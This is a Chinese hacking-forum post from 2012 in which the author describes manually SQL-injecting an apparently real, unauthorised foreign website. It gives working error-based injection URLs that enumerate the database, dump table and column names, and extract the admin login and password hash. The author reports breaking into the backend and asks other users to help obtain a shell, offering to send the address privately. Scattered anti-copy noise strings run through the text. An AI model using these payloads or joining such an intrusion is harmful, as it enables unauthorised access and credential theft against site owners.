找回密码
 立即注册
查看: 2863|回复: 0
打印 上一主题 下一主题

对国外站的伪静态注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-20 09:00:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。' t9 a/ ~- L) L

首先找到网站后台,加了个admin,后台出来了

" R0 |9 @' Z+ F2 X, H

0 e3 |+ j7 z- }0 r& o" ?; S3 v' @) u6 E) O

然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入) o5 F/ T- Q2 k9 n! V6 E0 {- q
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg

从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。

首先查下数据库相关信息。

www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
/ q* D/ m! O. X  i
- ?6 j" C8 m- _- n% H. M( b0 d2 @. \% V* X' G# L

/ D5 ~2 x* h3 Q1 x# s! \; C5 t/ L4 Y, c: z! r& M
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
  v- A% t2 Q6 e- a+ m& q+ O6 G6 V4 B7 [2 Y3 K7 H! n  G6 I
$ J  }, R. L8 m8 H) V% H4 y( K
2 t& c% U4 R7 e; s! \

% j" \  P! c0 A可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。

然后我们查表

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))--

得到管理员表段frame_administrator- E& @, ]* `8 f
$ c0 B3 X/ \" N8 H  Z/ I' }9 C

2 W5 k# D0 m/ P3 p% e% `http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg4 h7 i3 A% e- V0 ^2 M$ X

% t9 C6 S( N6 l7 z* \4 k" e
/ B: g1 ^8 b( n2 v  b: ^8 W

查字段

http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--0 y1 f2 @  C5 T6 h

; P! y# Y8 M. X
6 I: Q( W# n$ z. y$ L/ Q" p$ b8 d5 w6 h3 D$ t1 N2 J7 F8 P7 A; d

得到userID,userPass字段

最后

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--9 v" P$ ^4 d: e) i. ?

5 N3 _, w5 l& j2 d7 |+ a
% S! I5 x1 z1 _( @5 G, R7 r1 r1 _0 m7 w! |$ |9 y

得到最终结果admin eb0a191797624dd3a48fa681d3061212

解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表